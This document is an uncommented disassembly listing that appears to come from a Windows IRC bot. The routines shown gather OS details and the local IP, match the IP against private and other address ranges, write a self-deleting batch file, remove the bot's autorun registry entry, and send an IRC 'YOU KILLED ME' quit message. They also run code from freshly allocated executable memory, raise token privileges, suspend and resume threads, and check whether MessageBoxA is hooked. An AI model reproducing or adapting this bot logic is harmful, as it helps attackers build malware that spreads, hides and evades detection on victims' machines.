push 0 ; int
push edi ; void *
call _memset
add esp, 14h
push [ebp+74h+var_8C]
lea eax, [ebp+74h+var_84]
push [ebp+74h+var_90]
push [ebp+74h+var_94]
push eax
push esi
push offset aOsMicrosoftWin ; "[OS: Microsoft Windows %s %s (%i.%i bui"...
push edi ; void *
call __msize
pop ecx
dec eax
push eax ; Count
push edi ; Dest
call __snprintf
mov eax, edi
add esp, 20h
lea ecx, [eax+1]
loc_418F75: ; CODE XREF: sub_418E51+129j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_418F75
push ebx ; size_t
sub eax, ecx
push 0 ; int
push esi ; void *
mov [eax+edi], dl
call _memset
push edi
push offset aS_13 ; "%s"
dec ebx
push ebx ; Count
push esi ; Dest
call __snprintf
mov eax, esi
add esp, 1Ch
lea ecx, [eax+1]
loc_418FA0: ; CODE XREF: sub_418E51+154j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_418FA0
sub eax, ecx
push edi ; Memory
mov [eax+esi], dl
call j_j__free
pop ecx
loc_418FB3: ; CODE XREF: sub_418E51+DAj
mov ecx, [ebp+74h+var_4]
pop edi
xor ecx, ebp
mov eax, esi
pop ebx
call sub_402710
add ebp, 74h
leave
retn
sub_418E51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FC6 proc near ; CODE XREF: sub_401C1D+50p
; sub_401CC0+FEp ...
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_8], eax
push edi
xor eax, eax
lea edi, [ebp+var_18]
stosd
stosd
stosd
stosd
xor eax, eax
mov edi, esi
stosd
stosd
stosd
stosd
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
mov [ebp+var_1C], 10h
call ds:dword_41D238 ; getsockname
movzx eax, [ebp+var_11]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_13]
push eax
movzx eax, [ebp+var_14]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push 0Fh ; Count
push esi ; Dest
call __snprintf
mov eax, esi
add esp, 1Ch
lea ecx, [eax+1]
loc_419029: ; CODE XREF: sub_418FC6+68j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_419029
sub eax, ecx
mov ecx, [ebp+var_8]
mov [eax+esi], dl
xor ecx, ebp
mov eax, esi
pop edi
call sub_402710
leave
retn
sub_418FC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419044 proc near ; CODE XREF: sub_401F1C+10Cp
; sub_417676+A5p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov cl, [eax]
test cl, cl
push edi
jz short loc_4190AD
loc_419052: ; CODE XREF: sub_419044+24j
mov dl, [esi]
cmp dl, 2Ah
jz short loc_41906A
cmp dl, cl
jz short loc_419062
cmp dl, 3Fh
jnz short loc_419088
loc_419062: ; CODE XREF: sub_419044+17j
inc esi
inc eax
mov cl, [eax]
test cl, cl
jnz short loc_419052
loc_41906A: ; CODE XREF: sub_419044+13j
mov cl, [eax]
test cl, cl
jz short loc_4190AD
mov edi, [ebp+var_4]
loc_419073: ; CODE XREF: sub_419044+5Fj
mov dl, [esi]
cmp dl, 2Ah
jnz short loc_41908C
inc esi
cmp byte ptr [esi], 0
jz short loc_4190A7
mov [ebp+var_4], esi
lea edi, [eax+1]
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_419088: ; CODE XREF: sub_419044+1Cj
xor eax, eax
jmp short loc_4190B9
; ---------------------------------------------------------------------------
loc_41908C: ; CODE XREF: sub_419044+34j
cmp dl, cl
jz short loc_41909D
cmp dl, 3Fh
jz short loc_41909D
mov esi, [ebp+var_4]
mov eax, edi
inc edi
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41909D: ; CODE XREF: sub_419044+4Aj
; sub_419044+4Fj
inc esi
inc eax
loc_41909F: ; CODE XREF: sub_419044+42j
; sub_419044+57j
mov cl, [eax]
test cl, cl
jnz short loc_419073
jmp short loc_4190AD
; ---------------------------------------------------------------------------
loc_4190A7: ; CODE XREF: sub_419044+3Aj
xor eax, eax
inc eax
jmp short loc_4190B9
; ---------------------------------------------------------------------------
loc_4190AC: ; CODE XREF: sub_419044+6Cj
inc esi
loc_4190AD: ; CODE XREF: sub_419044+Cj
; sub_419044+2Aj ...
cmp byte ptr [esi], 2Ah
jz short loc_4190AC
xor eax, eax
cmp [esi], al
setz al
loc_4190B9: ; CODE XREF: sub_419044+46j
; sub_419044+66j
pop edi
pop esi
leave
retn
sub_419044 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190BD proc near ; CODE XREF: sub_419477+14Ap
Dest = byte ptr -23Ch
var_23B = byte ptr -23Bh
var_13C = byte ptr -13Ch
var_13B = byte ptr -13Bh
Filename = byte ptr -3Ch
var_3B = byte ptr -3Bh
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 23Ch
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
xor ebx, ebx
push 37h ; size_t
lea eax, [ebp+var_3B]
push ebx ; int
push eax ; void *
mov [ebp+Filename], bl
call _memset
mov esi, 0FFh
push esi ; size_t
lea eax, [ebp+var_23B]
push ebx ; int
push eax ; void *
mov [ebp+Dest], bl
call _memset
push esi ; size_t
lea eax, [ebp+var_13B]
push ebx ; int
push eax ; void *
mov [ebp+var_13C], bl
call _memset
add esp, 24h
push 100h
lea eax, [ebp+var_13C]
push eax
push ebx
call ds:dword_41D0E4 ; GetModuleHandleA
push eax
call ds:dword_41D060 ; GetModuleFileNameA
lea eax, [ebp+var_13C]
push eax
push eax
lea eax, [ebp+Dest]
push offset a@echoOff1DelSI ; "@echo off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "...
push eax ; Dest
call _sprintf
push 104h ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
push esi ; void *
call __msize
add esp, 18h
dec eax
push eax
push esi
call ds:dword_41D0F4 ; GetSystemDirectoryA
call _rand
push 18h
cdq
pop ecx
idiv ecx
add edx, 61h
push edx
call _rand
push 18h
cdq
pop ecx
idiv ecx
add edx, 61h
push edx
call _rand
push 18h
cdq
pop ecx
idiv ecx
add edx, 61h
push edx
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
call _rand
push 0Ah
pop ecx
cdq
idiv ecx
lea eax, [ebp+Filename]
push edx
push esi
push offset aSTmpIIICCC_bat ; "%s\\tmp-%i%i%i-%c%c%c.bat"
push eax ; Dest
call _sprintf
push esi ; Memory
call j_j__free
lea eax, [ebp+Filename]
push offset Mode ; "w"
push eax ; Filename
call _fopen
mov esi, eax
add esp, 30h
cmp esi, ebx
jz short loc_41920B
lea eax, [ebp+Dest]
push eax
push offset aS_14 ; "%s"
push esi ; File
call _fprintf
push esi ; File
call _fclose
add esp, 10h
push ebx
push ebx
push ebx
lea eax, [ebp+Filename]
push eax
push ebx
push ebx
call ds:dword_41D1E4
loc_41920B: ; CODE XREF: sub_4190BD+122j
mov ecx, [ebp+var_4]
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_4190BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419219(char *Format,char Args)
sub_419219 proc near ; CODE XREF: sub_41B925+199p
; .text:0041BDC4p
var_16C = dword ptr -16Ch
var_168 = byte ptr -168h
var_124 = dword ptr -124h
var_120 = byte ptr -120h
Dest = byte ptr -114h
var_113 = byte ptr -113h
var_8 = dword ptr -8
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 170h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_8], eax
push ebx
push esi
push edi
xor ebx, ebx
push 40h ; size_t
lea eax, [ebp+var_168]
push ebx ; int
push eax ; void *
mov [ebp+var_16C], ebx
call _memset
xor eax, eax
mov [ebp+var_124], ebx
lea edi, [ebp+var_120]
stosd
stosd
mov esi, 103h
push esi ; size_t
stosd
lea eax, [ebp+var_113]
push ebx ; int
push eax ; void *
mov [ebp+Dest], bl
call _memset
lea eax, [ebp+Args]
push eax ; Args
push [ebp+Format] ; Format
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __vsnprintf
add esp, 28h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_16C]
push eax
push ebx
push ebx
push 28h
push ebx
push ebx
push ebx
lea eax, [ebp+Dest]
push eax
push ebx
call ds:dword_41D05C ; CreateProcessA
mov ecx, [ebp+var_8]
test eax, eax
pop edi
setnz al
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_419219 endp
; ---------------------------------------------------------------------------
push 0
call __time64
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_4192C7 proc near ; CODE XREF: sub_413A2D+81p
; sub_413A2D+94p ...
push esi
mov esi, eax
xor eax, eax
inc eax
sub eax, ebx
add esi, eax
cmp esi, 1
jg short loc_4192DA
mov eax, ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4192DA: ; CODE XREF: sub_4192C7+Dj
push 2
pop eax
cmp esi, eax
jle short loc_4192E7
loc_4192E1: ; CODE XREF: sub_4192C7+1Ej
add eax, eax
cmp eax, esi
jl short loc_4192E1
loc_4192E7: ; CODE XREF: sub_4192C7+18j
push edi
lea edi, [eax-1]
loc_4192EB: ; CODE XREF: sub_4192C7+2Dj
call sub_418D5A
and eax, edi
cmp eax, esi
jge short loc_4192EB
pop edi
add eax, ebx
pop esi
retn
sub_4192C7 endp
; =============== S U B R O U T I N E =======================================
sub_4192FB proc near ; CODE XREF: sub_401F1C+420p
; sub_413A2D:loc_413F5Dp ...
and dword_4265B0, 0
push 0 ; Time
mov dword_4265B4, 1Fh
call __time64
mov edx, 3FFFFFFFh
and eax, edx
pop ecx
mov dword_4265B8, eax
mov dword_4265BC, 1
mov eax, offset dword_4265B8
push esi
loc_419330: ; CODE XREF: sub_4192FB+48j
lea ecx, [eax+4]
mov esi, [ecx]
add esi, [eax]
and esi, edx
mov [eax+8], esi
mov eax, ecx
cmp eax, offset dword_42668C
jl short loc_419330
pop esi
retn
sub_4192FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419347 proc near ; CODE XREF: sub_41748B+E6p
; sub_41A5C1+B6p ...
Dest = byte ptr -24h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 24h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push esi
push edi
push dword_4269BC
mov [ebp+var_14], 0
xor eax, eax
lea edi, [ebp+var_13]
stosd
stosd
stosd
stosw
lea esi, [ebp+var_14]
stosb
call sub_418FC6
pop ecx
mov eax, esi
mov ecx, offset a192_168__ ; "192.168.*.*"
call sub_419044
test eax, eax
jnz loc_419467
mov eax, esi
mov ecx, offset a10___ ; "10.*.*.*"
call sub_419044
test eax, eax
jnz loc_419467
mov eax, esi
mov ecx, offset a111___ ; "111.*.*.*"
call sub_419044
test eax, eax
jnz loc_419467
mov eax, esi
mov ecx, offset a15___ ; "15.*.*.*"
call sub_419044
test eax, eax
jnz loc_419467
mov eax, esi
mov ecx, offset a16___ ; "16.*.*.*"
call sub_419044
test eax, eax
jnz loc_419467
mov eax, esi
mov ecx, offset a101___ ; "101.*.*.*"
call sub_419044
test eax, eax
jnz short loc_419467
mov eax, esi
mov ecx, offset a110___ ; "110.*.*.*"
call sub_419044
test eax, eax
jnz short loc_419467
mov eax, esi
mov ecx, offset a112___ ; "112.*.*.*"
call sub_419044
test eax, eax
jnz short loc_419467
mov eax, esi
mov ecx, offset a170_65__ ; "170.65.*.*"
call sub_419044
test eax, eax
jnz short loc_419467
push 10h
pop esi
loc_41941E: ; CODE XREF: sub_419347+11Aj
xor eax, eax
lea edi, [ebp+Dest]
stosd
stosd
stosd
push esi
push offset a172_D__ ; "172.%d.*.*"
stosd
lea eax, [ebp+Dest]
push 0Fh ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 10h
lea edx, [eax+1]
loc_419441: ; CODE XREF: sub_419347+FFj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_419441
sub eax, edx
mov [ebp+eax+Dest], cl
lea eax, [ebp+var_14]
lea ecx, [ebp+Dest]
call sub_419044
test eax, eax
jnz short loc_419467
inc esi
cmp esi, 1Fh
jbe short loc_41941E
xor al, al
jmp short loc_419469
; ---------------------------------------------------------------------------
loc_419467: ; CODE XREF: sub_419347+3Ej
; sub_419347+52j ...
mov al, 1
loc_419469: ; CODE XREF: sub_419347+11Ej
mov ecx, [ebp+var_4]
pop edi
xor ecx, ebp
pop esi
call sub_402710
leave
retn
sub_419347 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419477 proc near ; CODE XREF: sub_41B925+1C5p
; .text:0041C066p
var_2A8 = byte ptr -2A8h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
Args = byte ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_28B = byte ptr -28Bh
var_1CC = byte ptr -1CCh
var_1CB = byte ptr -1CBh
var_CC = byte ptr -0CCh
var_CB = byte ptr -0CBh
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2A8h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, 0BFh
xor ebx, ebx
push esi ; size_t
mov dword ptr [ebp+Args], eax
lea eax, [ebp+var_CB]
push ebx ; int
push eax ; void *
mov [ebp+var_CC], bl
call _memset
add esp, 0Ch
push esi ; size_t
lea eax, [ebp+var_28B]
push ebx ; int
push eax ; void *
mov [ebp+var_28C], bl
call _memset
add esp, 0Ch
push ebx
lea edi, [ebp+var_CC]
call sub_41B7F9
pop ecx
inc esi
push esi ; size_t
mov eax, edi
push ebx ; int
push eax ; void *
call _memset
add esp, 0Ch
push esi ; size_t
lea eax, [ebp+var_28C]
push ebx ; int
push eax ; void *
call _memset
add esp, 0Ch
push 0FFh ; size_t
lea eax, [ebp+var_1CB]
push ebx ; int
push eax ; void *
mov [ebp+var_1CC], bl
call _memset
mov eax, dword_433C4C
mov eax, [eax]
mov [ebp+var_290], eax
mov eax, offset dword_433C48
add esp, 0Ch
mov [ebp+var_294], eax
mov [ebp+var_2A0], eax
loc_419530: ; CODE XREF: sub_419477+102j
mov eax, dword_433C4C
lea edi, [ebp+var_2A0]
lea esi, [ebp+var_294]
mov [ebp+var_29C], eax
call sub_40166F
test al, al
jz short loc_419587
mov edi, offset aRegistryMonito ; "Registry Monitor"
call sub_40164F
mov esi, eax
add esi, 5
push 11h
pop ecx
xor eax, eax
repe cmpsb
lea esi, [ebp+var_294]
jz short loc_41957B
lea edi, [ebp+var_2A8]
call sub_40168C
jmp short loc_419530
; ---------------------------------------------------------------------------
loc_41957B: ; CODE XREF: sub_419477+F5j
call sub_40164F
mov eax, [eax]
call sub_414023
loc_419587: ; CODE XREF: sub_419477+D7j
mov edi, 100h
push edi
lea esi, [ebp+var_1CC]
mov ebx, offset byte_425119
call sub_4196D1
pop ecx
mov eax, esi
push eax
push offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call sub_416F32
add esp, 0Ch
push edi ; size_t
mov eax, esi
push 0 ; int
push eax ; void *
call _memset
add esp, 0Ch
call sub_4190BD
push dword ptr [ebp+Args] ; Args
mov edi, offset dword_4269BC
push offset aQuitSYouKilled ; "QUIT :%s YOU KILLED ME :< --UPDATED\r\n"
call sub_4172CC
pop ecx
pop ecx
push 0
call ds:dword_41D050 ; ExitProcess
int 3 ; Trap to Debugger
jmp ds:dword_41D090
sub_419477 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4195EC proc near ; CODE XREF: .text:loc_41BC29p
var_18 = byte ptr -18h
var_13 = byte ptr -13h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
push edi
call ds:dword_41D0CC ; GetCurrentProcess
mov esi, offset dword_420700
lea edi, [ebp+var_10]
movsd
movsd
push 40h
push 3000h
movsb
push 6
mov ebx, eax
xor edi, edi
push edi
lea eax, [ebp+var_18]
push ebx
mov [ebp+var_10+3], eax
call ds:dword_41D0C0 ; VirtualAllocEx
mov esi, eax
cmp esi, edi
jnz short loc_419635
loc_419631: ; CODE XREF: sub_4195EC+58j
xor al, al
jmp short loc_419668
; ---------------------------------------------------------------------------
loc_419635: ; CODE XREF: sub_4195EC+43j
push edi
push 40h
push 6
push esi
push ebx
call ds:dword_41D0C4 ; VirtualProtectEx
test eax, eax
jnz short loc_419631
mov eax, [ebp+var_10]
mov [esi], eax
mov eax, [ebp+var_C]
mov [esi+4], eax
call esi ; send
push 8000h
push edi
push esi
push ebx
call ds:dword_41D0C8 ; VirtualFreeEx
cmp [ebp+var_13], 0D0h
setnbe al
loc_419668: ; CODE XREF: sub_4195EC+47j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_4195EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419677 proc near ; CODE XREF: .text:0041BC07p
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push esi
push edi
push offset aMessageboxa_0 ; "MessageBoxA"
push offset aUser32_dll_0 ; "user32.dll"
mov [ebp+var_C], 55h
mov [ebp+var_B], 8Bh
mov [ebp+var_A], 0ECh
mov [ebp+var_9], 81h
mov [ebp+var_8], 0ECh
call ds:dword_41D0E8 ; LoadLibraryA
push eax
call ds:dword_41D0EC ; GetProcAddress
push 5
mov esi, eax
pop ecx
xor eax, eax
lea edi, [ebp+var_C]
repe cmpsb
mov ecx, [ebp+var_4]
setz al
pop edi
xor ecx, ebp
pop esi
call sub_402710
leave
retn
sub_419677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196D1 proc near ; CODE XREF: sub_40177B+81p
; sub_4019F3+81p ...
Count = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push edi
push [ebp+arg_0] ; size_t
xor edi, edi
push edi ; int
push esi ; void *
call _memset
mov eax, ebx
add esp, 0Ch
lea ecx, [eax+1]
loc_4196EA: ; CODE XREF: sub_4196D1+1Ej
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_4196EA
sub eax, ecx
jz short loc_41975B
mov eax, [ebp+arg_0]
dec eax
mov [ebp+Count], eax
loc_4196FC: ; CODE XREF: sub_4196D1+88j
mov eax, offset byte_424E50
lea edx, [eax+1]
loc_419704: ; CODE XREF: sub_4196D1+38j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_419704
sub eax, edx
jz short loc_419711
xor eax, eax
loc_419711: ; CODE XREF: sub_4196D1+3Cj
movsx ecx, byte ptr [edi+ebx]
movsx eax, byte_424E50[eax]
xor ecx, eax
xor ecx, 0FDh
push ecx
push esi
push offset aSC_0 ; "%s%c"
push [ebp+Count] ; Count
push esi ; Dest
call __snprintf
mov eax, esi
add esp, 14h
lea ecx, [eax+1]
loc_41973C: ; CODE XREF: sub_4196D1+70j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41973C
sub eax, ecx
mov [eax+esi], dl
mov eax, ebx
inc edi
lea ecx, [eax+1]
loc_41974E: ; CODE XREF: sub_4196D1+82j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41974E
sub eax, ecx
cmp edi, eax
jb short loc_4196FC
loc_41975B: ; CODE XREF: sub_4196D1+22j
mov eax, esi
pop edi
leave
retn
sub_4196D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419760 proc near ; CODE XREF: sub_419C1D+28p
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 2Ch
push offset dword_4219D0
call __SEH_prolog4
mov edi, ds:dword_41D108
call edi ; GetTickCount
mov [ebp+var_20], eax
lea eax, [ebp+var_1C]
push eax
push 24h
lea eax, [ebp+var_3C]
push eax
push 0
push ebx
mov esi, ds:dword_41D028
call esi ; QueryServiceStatusEx
test eax, eax
jnz short loc_41979B
loc_419790: ; CODE XREF: sub_419760+61j
; sub_419760+8Aj ...
call ds:dword_41D0F0 ; RtlGetLastWin32Error
jmp loc_41982F
; ---------------------------------------------------------------------------
loc_41979B: ; CODE XREF: sub_419760+2Ej
cmp [ebp+var_38], 1
jz loc_41982D
jmp short loc_4197D5
; ---------------------------------------------------------------------------
loc_4197A7: ; CODE XREF: sub_419760+79j
push [ebp+var_24]
call ds:dword_41D0FC ; Sleep
lea eax, [ebp+var_1C]
push eax
push 24h
lea eax, [ebp+var_3C]
push eax
push 0
push ebx
call esi ; QueryServiceStatusEx
test eax, eax
jz short loc_419790
cmp [ebp+var_38], 1
jz short loc_41982D
call edi ; GetTickCount
sub eax, [ebp+var_20]
cmp eax, 12Ch
ja short loc_4197EE
loc_4197D5: ; CODE XREF: sub_419760+45j
cmp [ebp+var_38], 3
jz short loc_4197A7
lea eax, [ebp+var_3C]
push eax
push 1
push ebx
call ds:dword_41D01C ; ControlService
test eax, eax
jz short loc_419790
jmp short loc_419827
; ---------------------------------------------------------------------------
loc_4197EE: ; CODE XREF: sub_419760+73j
; sub_419760+C5j
mov eax, 5B4h
jmp short loc_41982F
; ---------------------------------------------------------------------------
loc_4197F5: ; CODE XREF: sub_419760+CBj
push [ebp+var_24]
call ds:dword_41D0FC ; Sleep
lea eax, [ebp+var_1C]
push eax
push 24h
lea eax, [ebp+var_3C]
push eax
push 0
push ebx
call esi ; QueryServiceStatusEx
test eax, eax
jz loc_419790
cmp [ebp+var_38], 1
jz short loc_41982D
call edi ; GetTickCount
sub eax, [ebp+var_20]
cmp eax, 12Ch
ja short loc_4197EE
loc_419827: ; CODE XREF: sub_419760+8Cj
cmp [ebp+var_38], 1
jnz short loc_4197F5
loc_41982D: ; CODE XREF: sub_419760+3Fj
; sub_419760+67j ...
xor eax, eax
loc_41982F: ; CODE XREF: sub_419760+36j
; sub_419760+93j
call __SEH_epilog4
retn
sub_419760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419835 proc near ; CODE XREF: sub_419EA0+2C7p
; sub_419EA0+36Ep
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
push 10h
pop esi
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
xor edi, edi
push edi
mov [ebp+var_8], esi
call ds:dword_41D034 ; LookupPrivilegeValueA
test eax, eax
jnz short loc_41985C
loc_419858: ; CODE XREF: sub_419835+5Fj
xor al, al
jmp short loc_4198CD
; ---------------------------------------------------------------------------
loc_41985C: ; CODE XREF: sub_419835+21j
mov eax, [ebp+var_10]
mov [ebp+var_2C], eax
mov eax, [ebp+var_C]
mov [ebp+var_28], eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_20]
push eax
push esi
mov esi, ds:dword_41D014
lea eax, [ebp+var_30]
push eax
push edi
push [ebp+arg_0]
xor ebx, ebx
inc ebx
mov [ebp+var_30], ebx
mov [ebp+var_24], edi
call esi ; AdjustTokenPrivileges
mov edi, ds:dword_41D0F0
call edi ; RtlGetLastWin32Error
test eax, eax
jnz short loc_419858
mov eax, [ebp+var_10]
mov [ebp+var_1C], eax
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
xor eax, eax
cmp [ebp+arg_8], eax
mov [ebp+var_20], ebx
jz short loc_4198B2
or [ebp+var_14], 2
jmp short loc_4198B6
; ---------------------------------------------------------------------------
loc_4198B2: ; CODE XREF: sub_419835+75j
and [ebp+var_14], 0FFFFFFFDh
loc_4198B6: ; CODE XREF: sub_419835+7Bj
push eax
push eax
push [ebp+var_8]
lea ecx, [ebp+var_20]
push ecx
push eax
push [ebp+arg_0]
call esi ; AdjustTokenPrivileges
call edi ; RtlGetLastWin32Error
neg eax
sbb al, al
inc al
loc_4198CD: ; CODE XREF: sub_419835+25j
pop edi
pop esi
pop ebx
leave
retn
sub_419835 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4198D2(int,int,int,void *Memory)
sub_4198D2 proc near ; CODE XREF: sub_419EA0+400p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Memory = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
xor ebx, ebx
push [ebp+Memory]
mov [ebp+var_8], ebx
push [ebp+arg_4]
push [ebp+arg_0]
call dword_426570
test eax, eax
jnz short loc_419909
loc_4198F9: ; CODE XREF: sub_4198D2+70j
; sub_4198D2+74j
push [ebp+Memory] ; Memory
call j_j__free
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419909: ; CODE XREF: sub_4198D2+25j
xor eax, eax
loc_41990B: ; CODE XREF: sub_4198D2+6Cj
and [ebp+var_4], 0
mov edx, offset dword_4255E8
loc_419914: ; CODE XREF: sub_4198D2+66j
mov esi, [ebp+Memory]
mov ecx, [edx+80h]
add esi, eax
mov edi, edx
xor ebx, ebx
repe cmpsb
jz short loc_419944
mov ecx, 84h
add [ebp+var_4], ecx
add edx, ecx
cmp [ebp+var_4], 318h
jb short loc_419914
inc eax
cmp eax, [ebp+var_8]
jbe short loc_41990B
xor bl, bl
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_419944: ; CODE XREF: sub_4198D2+53j
mov bl, 1
jmp short loc_4198F9
sub_4198D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419948 proc near ; CODE XREF: sub_419EA0+483p
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_4]
mov [ebp+var_1C], 1Ch
call dword_42656C
test eax, eax
jnz short loc_41996A
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_41996A: ; CODE XREF: sub_419948+1Cj
; sub_419948+55j
mov eax, [ebp+var_10]
cmp eax, [ebp+arg_0]
jnz short loc_41998E
push [ebp+var_14]
push 0
push 1F03FFh
call dword_426580
push eax
call ds:dword_41D0D4 ; ResumeThread
cmp eax, 0FFFFFFFFh
jz short loc_41999F
loc_41998E: ; CODE XREF: sub_419948+28j
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_4]
call dword_426590
test eax, eax
jnz short loc_41996A
loc_41999F: ; CODE XREF: sub_419948+44j
push [ebp+arg_4]
call ds:dword_41D0DC ; CloseHandle
mov al, 1
leave
retn
sub_419948 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4199AC proc near ; CODE XREF: sub_419EA0+3BDp
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_4]
mov [ebp+var_1C], 1Ch
call dword_42656C
test eax, eax
jnz short loc_4199CE
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4199CE: ; CODE XREF: sub_4199AC+1Cj
; sub_4199AC+55j
mov eax, [ebp+var_10]
cmp eax, [ebp+arg_0]
jnz short loc_4199F2
push [ebp+var_14]
push 0
push 1F03FFh
call dword_426580
push eax
call ds:dword_41D0D8 ; SuspendThread
cmp eax, 0FFFFFFFFh
jz short loc_419A03
loc_4199F2: ; CODE XREF: sub_4199AC+28j
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_4]
call dword_426590
test eax, eax
jnz short loc_4199CE
loc_419A03: ; CODE XREF: sub_4199AC+44j
push [ebp+arg_4]
call ds:dword_41D0DC ; CloseHandle
mov al, 1
leave
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A10 proc near ; CODE XREF: sub_419EA0+3D4p
var_228 = dword ptr -228h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 228h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push edi
